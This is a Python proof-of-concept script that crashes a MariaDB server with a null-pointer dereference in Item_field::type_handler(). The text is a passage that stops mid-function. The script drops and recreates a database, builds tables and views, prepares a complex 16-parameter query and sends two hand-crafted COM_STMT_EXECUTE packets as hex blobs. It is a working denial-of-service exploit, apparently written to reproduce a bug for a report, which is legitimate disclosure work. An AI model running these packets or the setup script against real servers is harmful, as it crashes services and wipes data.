#!/usr/bin/env python3
"""
MariaDB protocol crash PoC: sql/item.h:3919 Item_field::type_handler() SIGSEGV.

Observed crash:
  sql/item.h:3919:
  Item_field::type_handler() const dereferences a null field pointer and the server exits with signal 11.

Relevant stack:
  Item_field::type_handler()
  Type_handler_hybrid_field_type::set_handler()
  subselect_union_engine::fix_length_and_dec()
  Item_singlerow_subselect::fix_length_and_dec()
  create_view_field()
  Prepared_statement::execute_loop()
  mysqld_stmt_execute()

Trigger sequence:
  1. Recreate the test schema from SETUP_SQL_SCRIPT.
  2. COM_STMT_PREPARE with 16 parameters.
  3. COM_STMT_EXECUTE #1.
  4. COM_STMT_EXECUTE #2.

Usage:
  python3 reproduce.py -H <host> -P <port> -u <user> -p <password>

This is a protocol-level reproducer. The SQL text alone is not expected
to reproduce the bug; the trigger depends on COM_STMT_PREPARE plus
the crafted COM_STMT_EXECUTE packet(s) below.
"""
SCRIPT_DESCRIPTION = 'Self-contained MariaDB protocol PoC for Item_field::type_handler crash'

SETUP_SQL_SCRIPT = """\
DROP DATABASE IF EXISTS `mydb`;


CREATE DATABASE `mydb`;


USE `mydb`;


SET FOREIGN_KEY_CHECKS=0;


SET UNIQUE_CHECKS=0;



CREATE TABLE `t1189` (
  `c1` int(11) DEFAULT NULL,
  `c2` double DEFAULT NULL,
  `c3` tinyint(4) NOT NULL,
  `c4` int(11) NOT NULL,
  `c5` int(11) DEFAULT NULL,
  `c6` int(11) DEFAULT NULL,
  `c7` int(11) DEFAULT NULL,
  `c8` tinyint(4) DEFAULT NULL,
  `c9` int(11) DEFAULT NULL,
  `c10` text DEFAULT NULL,
  `c11` text NOT NULL,
  `c12` int(11) DEFAULT NULL,
  `c13` text DEFAULT NULL,
  PRIMARY KEY (`c4`),
  UNIQUE KEY `i678` (`c6`,`c9`),
  UNIQUE KEY `i702` (`c5`,`c6`,`c4`,`c7`,`c8`,`c12`,`c2`),
  KEY `i680` (`c6`,`c2`,`c9`,`c12`,`c7`),
  KEY `i697` (`c6`,`c8`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1191` (
  `c1` int(11) NOT NULL,
  `c2` tinyint(4) DEFAULT NULL,
  `c3` tinyint(4) DEFAULT NULL,
  `c4` tinyint(4) NOT NULL,
  `c5` int(11) NOT NULL,
  `c6` double DEFAULT NULL,
  `c7` text DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` int(11) DEFAULT NULL,
  `c10` text DEFAULT NULL,
  PRIMARY KEY (`c1`,`c5`),
  UNIQUE KEY `i693` (`c5`,`c2`,`c6`,`c1`,`c4`),
  KEY `i676` (`c2`,`c6`,`c4`,`c5`,`c3`,`c1`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1197` (
  `a1` int(11) NOT NULL,
  `a2` varchar(4) NOT NULL,
  `a3` bigint(23) NOT NULL,
  `a4` double DEFAULT NULL,
  `a5` varchar(8) NOT NULL,
  `c6` tinyint(4) DEFAULT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  `c8` int(11) DEFAULT NULL,
  UNIQUE KEY `i740` (`c8`,`a4`,`c6`,`a1`,`c7`),
  KEY `i692` (`a4`,`c6`),
  KEY `i699` (`a5`,`a3`,`c7`,`c6`,`a4`,`a1`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1198` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`,`c2`),
  KEY `i695` (`c1`),
  CONSTRAINT `CONSTRAINT_1` CHECK (`c1` = -1)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1199` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  `c3` double DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`),
  KEY `i696` (`c3`,`c2`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1201` (
  `c1` int(11) NOT NULL,
  `c2` int(11) DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` double DEFAULT NULL,
  `c5` double DEFAULT NULL,
  `c6` int(11) NOT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` double DEFAULT NULL,
  `c10` tinyint(4) DEFAULT NULL,
  `c11` text DEFAULT NULL,
  PRIMARY KEY (`c1`,`c6`),
  UNIQUE KEY `c3` (`c3`),
  KEY `i685` (`c5`,`c4`,`c6`,`c7`,`c3`,`c2`,`c1`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1204` (
  `c1` int(11) NOT NULL,
  `c2` int(11) DEFAULT NULL,
  `c3` text NOT NULL,
  `c4` tinyint(4) NOT NULL,
  `c5` int(11) DEFAULT NULL,
  `c6` double DEFAULT NULL,
  `c7` double DEFAULT NULL,
  `c8` int(11) NOT NULL,
  `c9` int(11) DEFAULT NULL,
  `c10` double DEFAULT NULL,
  PRIMARY KEY (`c1`,`c8`),
  UNIQUE KEY `c10` (`c10`),
  KEY `i681` (`c5`,`c1`,`c9`,`c6`,`c8`,`c10`,`c4`),
  KEY `i682` (`c7`,`c10`,`c4`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1216` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  `c3` text DEFAULT NULL,
  `c4` tinyint(4) DEFAULT NULL,
  `c5` double NOT NULL,
  `c6` int(11) DEFAULT NULL,
  `c7` double DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` double DEFAULT NULL,
  `c10` double DEFAULT NULL,
  `c11` int(11) NOT NULL,
  `c12` text DEFAULT NULL,
  PRIMARY KEY (`c11`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1219` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` double DEFAULT NULL,
  `c5` text DEFAULT NULL,
  `c6` int(11) NOT NULL,
  `c7` text DEFAULT NULL,
  PRIMARY KEY (`c1`,`c6`),
  UNIQUE KEY `i700` (`c1`,`c6`,`c3`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1223` (
  `c1` int(11) NOT NULL,
  `c2` tinyint(4) DEFAULT NULL,
  `c3` int(11) NOT NULL,
  `c4` double DEFAULT NULL,
  `c5` text DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`,`c3`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1236` (
  `c1` int(11) NOT NULL,
  `c2` int(11) NOT NULL,
  `c3` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`,`c2`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1240` (
  `c1` int(11) NOT NULL,
  `c2` text DEFAULT NULL,
  `c3` text DEFAULT NULL,
  `c4` text NOT NULL,
  `c5` double DEFAULT NULL,
  `c6` tinyint(4) DEFAULT NULL,
  `c7` text DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` double DEFAULT NULL,
  `c10` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c5` (`c5`),
  UNIQUE KEY `i705` (`c10`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1243` (
  `c1` int(11) NOT NULL,
  `c2` double NOT NULL,
  `c3` int(11) DEFAULT NULL,
  `c4` double DEFAULT NULL,
  `c5` text NOT NULL,
  `c6` text DEFAULT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  `c8` text NOT NULL,
  `c9` text DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`,`c2`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1244` (
  `a1` double DEFAULT NULL,
  `a2` bigint(23) NOT NULL,
  `a3` double DEFAULT NULL,
  `c4` tinyint(4) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1254` (
  `c1` int(11) NOT NULL,
  `c2` text DEFAULT NULL,
  `c3` tinyint(4) NOT NULL,
  `c4` double DEFAULT NULL,
  `c5` int(11) NOT NULL,
  `c6` double NOT NULL,
  `c7` double DEFAULT NULL,
  PRIMARY KEY (`c5`),
  UNIQUE KEY `c4` (`c4`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1261` (
  `a1` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1268` (
  `c1` int(11) DEFAULT NULL,
  `c2` text DEFAULT NULL,
  `c3` text DEFAULT NULL,
  `c4` tinyint(4) DEFAULT NULL,
  `c5` text DEFAULT NULL,
  `c6` tinyint(4) DEFAULT NULL,
  `c7` tinyint(4) NOT NULL,
  `c8` tinyint(4) DEFAULT NULL,
  `c9` int(11) NOT NULL,
  `c10` double DEFAULT NULL,
  `c11` double DEFAULT NULL,
  PRIMARY KEY (`c9`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1288` (
  `a1` mediumtext DEFAULT NULL,
  `a2` double DEFAULT NULL,
  `a3` mediumtext DEFAULT NULL,
  `a4` int(11) NOT NULL,
  `a5` int(1) NOT NULL,
  `a6` int(11) DEFAULT NULL,
  `a7` bigint(23) NOT NULL,
  `a8` int(1) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1299` (
  `a1` bigint(5) DEFAULT NULL,
  `a2` bigint(2) DEFAULT NULL,
  `a3` bigint(21) NOT NULL,
  `a4` bigint(21) NOT NULL,
  `a5` bigint(21) NOT NULL,
  `a6` double DEFAULT NULL,
  `a7` bigint(21) NOT NULL,
  `a8` bigint(21) NOT NULL,
  `a9` bigint(21) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1310` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  `c3` text DEFAULT NULL,
  `c4` double DEFAULT NULL,
  `c5` int(11) NOT NULL,
  `c6` double DEFAULT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  `c8` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`,`c5`),
  UNIQUE KEY `c1` (`c1`,`c5`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1320` (
  `a1` double DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1323` (
  `c1` int(11) DEFAULT NULL,
  `c2` text DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` int(11) DEFAULT NULL,
  `c5` int(11) DEFAULT NULL,
  `c6` int(11) NOT NULL,
  PRIMARY KEY (`c6`),
  UNIQUE KEY `c3` (`c3`,`c4`,`c5`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE ALGORITHM=UNDEFINED VIEW `v1202` AS select case when 1 = 1 then cast('like' as char charset utf8mb4) else 'za#i8ly' end AS `a1`,'#bwmw'  not like '_w4xm85' AS `a2` from `t1197` `ref_0` where cast(NULL as char charset utf8mb4) <=> cast(NULL as char charset utf8mb4) order by case when 1 = 1 then cast('like' as char charset utf8mb4) else 'za#i8ly' end,'#bwmw'  not like '_w4xm85' limit 127;



CREATE ALGORITHM=UNDEFINED VIEW `v1269` AS select `subq_0`.`a1` AS `a1`,abs(64) between `subq_0`.`a2` and abs(65535) AS `a2`,locate(`subq_0`.`a1`,`subq_0`.`a1`,(select cast(`t1204`.`c3` as char charset utf8mb4) from `t1204` order by `t1204`.`c3` limit 2,1)  not like '9o_g%q') AS `a3`,`ref_2`.`a3` AS `a4`,cast(`ref_2`.`a2` + (cast((`ref_0`.`a1` & 0xffff) + 32768 & 0xffff as signed) - 32768) as char charset utf8mb4) AS `a5`,case when 0 <> 0 then `ref_2`.`a1` else `ref_2`.`a3` end AS `a6`,json_merge_patch(`subq_0`.`a1`,case when cast(`ref_0`.`a1` as decimal(10,0)) > `ref_2`.`a3` then `subq_0`.`a1` else (select `t1189`.`c11` from `t1189` limit 4,1) end) AS `a7`,1 = 1 AS `a8` from ((`t1261` `ref_0` join (`v1202` `ref_1` join `t1244` `ref_2` on(64 and 1 = 1 and (cast(((-2627719 < (0 <> 0)) & 0xff) + 128 & 0xff as signed) - 128 <> 0 or 100663045 > (select 64 AS `a1` from `t1268` `ref_3` where 0 <> 0 union all (select -128 AS `a1` from `t1216` `ref_4` where 1 = 1) limit 1))))) join (select 'cj3g' AS `a1`,cast((`ref_5`.`c1` & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648 AS `a2`,(select count(cast(`t1204`.`c10` as double)) from `t1204`) AS `a3`,cast(((64 and `ref_5`.`c1` <> 0) & 0xff) + 128 & 0xff as signed) - 128 <> 0 AS `a4` from `t1199` `ref_5` where cast(`ref_5`.`c2` as double) or cast(`ref_5`.`c2` as double)) `subq_0` on(`subq_0`.`a1`  not like 'g4f_3')) where `ref_2`.`a3` < round(case when cast((`ref_2`.`a2` & 0xffffff) + 8388608 & 0xffffff as signed) - 8388608 = cast(`ref_0`.`a1` as decimal(10,0)) then `subq_0`.`a3` else `ref_1`.`a2` end,`subq_0`.`a3`) limit 160;



SET UNIQUE_CHECKS=1;


SET FOREIGN_KEY_CHECKS=1;
"""

PREPARE_SQL = """\
select distinct
  (cast(((count((select count(t1219.c4) from t1219)) over (partition by subq_0.a1 order by subq_0.a2) &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) as a1,
  ((cast(((subq_0.a2 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) between ((cast(((coalesce(
        (subq_0.a2 * (cast(((subq_0.a4 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648)),
        (cast(((subq_0.a2 &0xffff)+32768)&0xffff as signed)-32768)
        ) &0xffff)+32768)&0xffff as signed)-32768) % subq_0.a4) and (cast(((subq_0.a2 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648)) as a2,
  (1=1) as a3,
  (NOT NOT (cast(((((cast(((subq_0.a4 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) && ((NOT NOT (subq_0.a4 <= ?))
          or
        (subq_0.a4 between (cast(((subq_0.a2 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) and subq_0.a2))) &0xff)+128)&0xff as signed)-128)) as a4,
  left(cast(subq_0.a3 as char), subq_0.a2) as a5
from (select 
        ((cast(((ref_0.a3 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) ^ ?) as a1,
        ((cast(? as char) < (
            select 
                  cast(? as char) as a1
                from t1323 as ref_3
                where (cast(? as char) <> (
                  select 
                      cast(? as char) as a1
                    from t1320 as ref_4
                    where (0<>0)
                    limit 1
                  ))
              union all (
                select 
                  cast(? as char) as a1
                from t1310 as ref_5
                where ((1=1)
                    or
                  (0<>0))
              )
              limit 1
            ))
            and
          (0<>0)) as a2,
        ? as a3,
        ref_0.a8 as a4
      from t1299 as ref_0
      where EXISTS (
          select 
            ? as a1
          from t1288 as ref_1
          where EXISTS (
              select 
                ref_1.a5 as a1
              from t1240 as ref_2
              where (? like 'a854_')
            )
          limit 66
        )
      order by a1, a2, a3, a4 asc) as subq_0
where (cast(subq_0.a1 as char) < (
  select 
        cast(subq_0.a3 as char) as a1
      from t1223 as ref_6
      where (NOT NOT (cast(ref_6.c4 as double) <= subq_0.a4))
    union all (
      select 
        cast(subq_0.a1 as char) as a1
      from ((t1243 as ref_7
             left outer join v1269 as ref_8
            on ((NOT NOT (? <> cast(? as char)))))
           right outer join ((t1254 as ref_9
               left outer join t1288 as ref_10
              on ((cast(? as char) >= (
                  select 
                      cast(? as char) as a1
                    from t1191 as ref_11
                    where (1=1)
                    order by a1 asc
                    limit 1
                  ))))
             left outer join t1236 as ref_12
            on ((? like 'o%n')))
          on ((NOT NOT ((cast(((ref_10.a6 &0xffffff)+8388608)&0xffffff as signed)-8388608) || ref_9.c6))))
      where (NOT NOT (? < cast(ref_8.a1 as char)))
    )
    order by a1
    limit 1
  ))
order by a1, a2, a3, a4, a5 desc"""

EXECUTE_PAYLOADS = [
    # COM_STMT_EXECUTE packet 1.
    bytes.fromhex(
        "17"          # command: COM_STMT_EXECUTE
        "00000000"    # statement id, patched below
        "00"          # flags
        "01000000"    # iteration count
        "0201"      # null bitmap (16 parameters)
        "01"          # new_params_bound_flag
        # parameter type metadata and parameter values
        """
        fe80fe80fe000300fc00fe000a00fe00fe00fe00fe00fe00fa00fe80fe000d0003cb58930f92d601edb36ad3b63314b0
        83cc2726d8fc763105af1c1102480d0f5c278469a657c354e0f7d29c0b40cd66c6fa2b4d8946c38f4000585858585858
        580058585858585858005858585858585800585858585858580058585858585858005858585858585800585858585858
        580058585858585858fc4e05cdef04f1dfdef3520220932ae0b9fde50111e7193c6306fcd08b498254c5f2827e7950ef
        c9772f92507ba2cba48f05c3af375a264c4570f26870547dd89fb9ccdb8066b92d7b8a2f3544ecb1e768931ff765579e
        19cbb484cf140a50f1a347e100176848fadbea7fe767d6f392676e4b09adc3645a73e2b4d9c251990187aca38870414b
        9aa54606e9c8fc7493eaaa12acb5689f32997046384087724f80132a50f941b8a0c66305d041a60092a828f4d0c9471c
        e3713d8de1d28ba3dfa0e733d7e9e9ca5e7eae6f3b64d02d949781d72e7fb6be0996aa3763d4edca62c9580fbecbc0c9
        dfb04686db090f34d1244e5c353796e751b24b2f026a6b5171e36d8a68a070a51abc9895718f4ccf2150e48d7a3e986d
        e37f01cd5e3ee9f440b6710bd67a0bcb1981f7af9c3ae8cc2d8ca88ed5f9a0d87e2d71738c0525373e59defd684d3c3e
        c4ed427a076c367f2ee02acf7b4e2a97fa4b603aaffb6c1a6a6b8993049002d93f77ee8b42236930778569486235d56d
        1cdad08091c494f78f086dd0419e32ba3ebf6c8dc416ec567c814b50d8dc5ef9d041b3470270271becc7f03195dc8402
        756560311171face8dddd84f9ef90cd32db58dcc58ad3a873939e0a3cf423b97bbd6666b7f549b1d0f58c9549cce1d80
        be0e9f5bf18cdb95aaf7594e4b5b2be74d8fdb5f18130ccfb28e080b78f4e09e08e63f98dec346f868880dcda789588d
        c8116628e771ca8511001c2588f77c99f12e9e6d39118914aaef2c1372997c817c51c6a10ced37f4b7a9535ee448572e
        807819a5132dbb91423153a554fbf0dccfe890de57e95a3617b58adb449794622750371eaec2eb3ffbe12e88c5ab7729
        df47d6c46d496f80bb8636ec49493e17c6c08410076f8aee1820ca2946d4a1cc17975966e899fdbe385934611492f7df
        2578678752a35b128c06c4d260550f8f029328258976d3b27130b4856fe86e9f5ffa18ca660df4faa8b6d92eacf6271c
        c858533504a894af8a6e2cec23dcc74114861ba5c5fcd22c6b7af5a29b0225ef3e031d3b6aa1c7e9a4d507fcca23a557
        f45c9cc3a5355ef5c85ec75bcd370924ea5a733cec16324953146c9e805277d648ab8f0413b26399bde70d5742347be0
        e6dcf95a1bd95452078ec6d49564183a769256e757ba131e21e35a5cfed7e08c0790f3a73d9147c23d5408c0cbaa6307
        30e50a841f798c9dc52e1d02b043c3263e737aef142bfb0fcaf1bfccf186ef0791af531d7cb570b19e5eca7c8ef84ca8
        43f182588dd181e80f6fd19609eb67e06e2849d820e250947a71d06551e3626cd23af86a37e92c4f2b61874923919f3f
        6fee0d54207bfbbcb2cdaaaf2be21ae32c858226fbd7663d57c2548ee17d1c01c7ef424b9bf3bb2de939eb076c2ce314
        ff89b91c4e559b28840f728b950ec33e0eacc5c79eec28f60a438ae347b52de569e4a8020c8b58d2db1128ea12edde3f
        5203227b38710f58a862f5ebeafa1e34a1d6b679c1b38a2fb2f00acd7a3eb56aa4c7f1fb4effc302ff5f593dfa637b00
        d39fc12028fe0d027ff1d6353dcd90cd1a632de300f5290442e655f82ab14e664d614642fd24b243f6fe63d65b2e1ab1
        42a0c7f1247a3466b9def725e031f5b5d99eb00518b89789f4b4e4b275199d257fdbf7ffae2313c13c06ee34e45bd045
        df731b85c6c12aac6935686993f00f66faf359361f044eabfc480f7524146ac2eb31a3de6f1570498af84d9a77cce921
        319376e6cad2de26c8767f8dad132ae471691a4c72d9a35632389fb4ea4033328a0d56df67367a349d7e6462b31bb3ec
        7e4eb13e80483892aa2c7d932a7c3d0253ef49408d7c41012cecace87267637f47f820f307402a1ea6ebf5f4e6faaf7f
        97f33e341ea2a585044040619555c595e19f70a1e4f07897d19736d0c6c6ba12aa1fa45acf9a290dea6332db0196e42d
        7c5df4e73781ef2d3a925fe0f2a61512ed9bdd1ebdecac79ed0050d589e5d6f4b94b58161411d36527a8918c0a067f1f
        860ea4d9dadcebc9e1fa7628951c0694e8d677f9e1c3b41b55048a8543db44d069054e3d2861eb61f6a2ce08c3c91cb1
        a0a98c8869be6dfbf29dce74f1bf9523bd7d569571f56004e0f9449ad5a9eb1aeda0255e75ec93833f07b28b70a1baad
        3ad5cc301706124591903434cb8728273e8a87a6c09e88838647572e4778622e4d1b9851a982fd6548a3b79d3cb9991c
        06aa83925609a8192351a4fe1e4e1bc0fc3a522dddada887381afe991487676419abbe5265677ab5a3b17f796eb6f569
        ea63c8b3e7f5a0e3a24f90ecc2d032c998f5b2628430adc1285d3aef99f394189158a48e46b314b3c98160d34ce5dd08
        9c547ada42c9ea2551c801ad480c4f6d0831436ce3ad731c4ec50c78f7f793443be2bd48c6c507c3ae
        """
    ),
    # COM_STMT_EXECUTE packet 2.
    bytes.fromhex(
        "17"          # command: COM_STMT_EXECUTE
        "00000000"    # statement id, patched below
        "00"          # flags
        "01000000"    # iteration count
        "0008"      # null bitmap (16 parameters)
        "01"          # new_params_bound_flag
        # parameter type metadata and parameter values
        """
        fe80fe00fe000300fe80fe00ff00fe80fe00fe000b00fe00fe00fe00fe00f9008a11a35a98b9378b8752f1a7a4282bad
        bf57e038457c8f51451be213b4175f58db9cce54f1de006fac36057aa74136f4bec2d557a8bc92a3377c94a43c6b9df6
        e35189778a93c6858a66d5eaffbab6a61f7780db44258c5fef87173b52dbb3122e4eaa50e8d86584a5241a5b7608a0a1
        e1bb18bb0f56759e52e7ff17809a4e5f58f7e5e0e3fb953d4a8f77af7e15955bcd43216108d33556a1472bd43497893c
        de5a4578ff383a7a293391c656d33271919623358191336f5a28e12dc16e20e31ce73aea7b3f8dca667426575208c77a
        2218235691a5f0cb6d9b8a3315428c4ff96145bb77a7b3dac386f3985c46bd5c51ad97ff680e72490dd464b89f0d8d29
        beb4f2e35c0198a4fa9682b05eabf2e014b04a090af7ff520324662d5060aef03d0111f6c7dcfada4d767f31fc6d2e9a
        405676c14679e2d7e249fb06ddb67774093ca23daf15bf3e0fce81d95ebc682dbe11b10177444ae1d541eb68044b8e5e
        0f6a180ee9c8e97dd6eb73b4cf10f4ce1b09f6343baf67bcc572b01dc26cc59dedfece65d715f53aa3ff9ef199528ce9
        c3cd07f3c4636d314d515b5e11fac3a629074a1a5f4be91bb9fba93f84e0b702b6aec59c984bd5538b2f46db23f20b8c
        8b4a66d2b198a8d82353453080aba0b1453a66b9e3a4b8264f44c75c474f3f969b05007840a7ce2c3fa8c63e5b72ce45
        f7a9e8775eaa4d5d366385694f72660d89ae60e4abd50da147400bef2288008466a8dd47400058585858585858005858
        585858585800585858585858580058585858585858005858585858585800585858585858580058585858585858005858
        585858585865ee029a48d8afdd73fd0a3dfd81994252478f02afd108c52f5367e090ac808495a78162905cf60f7b97d7
        c23b6a413c6959a1981357b6f3fe054be897d55c199ef7de21399fc01367e825ad08ff86af93a958ff141ca27585bcb7
        3d0a8a46c8a91f9de74736a819f92405f9167d9821b9cabf7914973456baecaef0afdc0749f93024677e79e38d1c144a
        616f0e1a7c99926646dec5f1855e33674d46f4bb587f7972b2e05c5a6e1c53717d09d91aec67d55f450418ac414e73b3
        21f04ec2762c88d2325d0f69c55d2684f25c5a12eb117a9f40ad6ff6b0e85c216aac10a407340e920c83f280fe3291de
        374c3e953543d1334c0464970e21efc8ff62495f7c9a7ee806fe261254e10e503ac810900e96bd1a68bf0b8cfa76de5c
        0eaef90000027f8a00010c
        """
    ),
]
STEPS = [
    ("prepare",),
    ("execute", 0),
    ("execute", 1),
]


import argparse
import socket
import struct
import sys
import time

try:
    import mysql.connector
except ImportError:
    sys.exit("[!] Please install dependency: pip install mysql-connector-python")


DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 3306
DEFAULT_USER = "root"
DEFAULT_PASSWORD = ""
DEFAULT_DATABASE = "mydb"
DEFAULT_TIMEOUT = 20

SERVER_MORE_RESULTS_EXISTS = 0x0008


def qident(name):
    return "`" + name.replace("`", "``") + "`"


def connect(args, database=None, timeout=None):
    return mysql.connector.connect(
        host=args.host,
        port=args.port,
        user=args.user,
        password=args.password,
        database=database,
        connection_timeout=timeout or args.timeout,
        use_pure=True,
        autocommit=True,
    )


def setup_database(args):
    print(f"[*] Recreating database {args.database!r}")
    conn = connect(args)
    cur = conn.cursor()
    cur.execute(f"DROP DATABASE IF EXISTS {qident(args.database)}")
    cur.execute(f"CREATE DATABASE {qident(args.database)}")
    cur.close()
    conn.close()


def split_mysql_statements(script):
    statements = []
    buf = []
    i = 0
    state = None
    while i < len(script):
        ch = script[i]
        nxt = script[i + 1] if i + 1 < len(script) else ""

        if state == "single":
            buf.append(ch)
            if ch == "\\" and nxt:
                buf.append(nxt)
                i += 2
                continue
            if ch == "'":
                if nxt == "'":
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if state == "double":
            buf.append(ch)
            if ch == "\\" and nxt:
                buf.append(nxt)
                i += 2
                continue
            if ch == '"':
                if nxt == '"':
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if state == "backtick":
            buf.append(ch)
            if ch == "`":
                if nxt == "`":
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if ch == "'":
            state = "single"
            buf.append(ch)
            i += 1
            continue
        if ch == '"':
            state = "double"
            buf.append(ch)
            i += 1
            continue
        if ch == "`":
            state = "backtick"
            buf.append(ch)
            i += 1
            continue

        if ch == "-" and nxt == "-" and (i + 2 == len(script) or script[i + 2].isspace()):
            i += 2
            while i < len(script) and script[i] not in "\r\n":
                i += 1
            continue
        if ch == "#":
            i += 1
            while i < len(script) and script[i] not in "\r\n":
                i += 1
            continue
        if ch == "/" and nxt == "*":
            i += 2
            while i + 1 < len(script) and not (script[i] == "*" and script[i + 1] == "/"):
                i += 1
            i += 2 if i + 1 <= len(script) else 0
            continue

        if ch == ";":
            statement = "".join(buf).strip()
            if statement:
                statements.append(statement)
            buf = []
            i += 1
            continue

        buf.append(ch)
        i += 1

    statement = "".join(buf).strip()
    if statement:
        statements.append(statement)
    return statements


def skip_setup_statement(sql):
    normalized = " ".join(sql.split()).lower()
    return (
        normalized.startswith("drop database ")
        or normalized.startswith("create database ")
        or normalized.startswith("use ")
    )


def run_sql(conn, sql):
    preview = " ".join(sql.split())[:140]
    print(f"[*] SQL: {preview}")
    cur = conn.cursor()
    cur.execute(sql)
    while cur.nextset():
        pass
    cur.close()


def apply_setup_sql(args):
    setup_database(args)
    conn = connect(args, database=args.database)
    try:
        for sql in split_mysql_statements(SETUP_SQL_SCRIPT):
            if skip_setup_statement(sql):
                continue
            run_sql(conn, sql)
    finally:
        conn.close()


def send_mysql_packet(sock, payload, seq=0):
    header = struct.pack("<I", len(payload))[:3] + bytes([seq & 0xFF])
    sock.sendall(header + payload)


def recv_exact(sock, n):
    data = bytearray()
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise ConnectionError("server closed the connection")
        data.extend(chunk)
    return bytes(data)


def read_mysql_packet(sock):
    header = recv_exact(sock, 4)
    length = header[0] | (header[1] << 8) | (header[2] << 16)
    seq = header[3]
    payload = recv_exact(sock, length) if length else b""
    return seq, payload


def read_lenenc(payload, offset=0):
    first = payload[offset]
    offset += 1
    if first < 0xFB:
        return first, offset
    if first == 0xFC:
        return int.from_bytes(payload[offset:offset + 2], "little"), offset + 2
    if first == 0xFD:
        return int.from_bytes(payload[offset:offset + 3], "little"), offset + 3
    if first == 0xFE:
        return int.from_bytes(payload[offset:offset + 8], "little"), offset + 8
    return 0, offset


def status_flags(payload):
    if not payload:
        return 0
    first = payload[0]
    if first == 0xFE and 5 <= len(payload) < 9:
        return payload[3] | (payload[4] << 8)
    if first == 0x00 or (first == 0xFE and len(payload) >= 7):
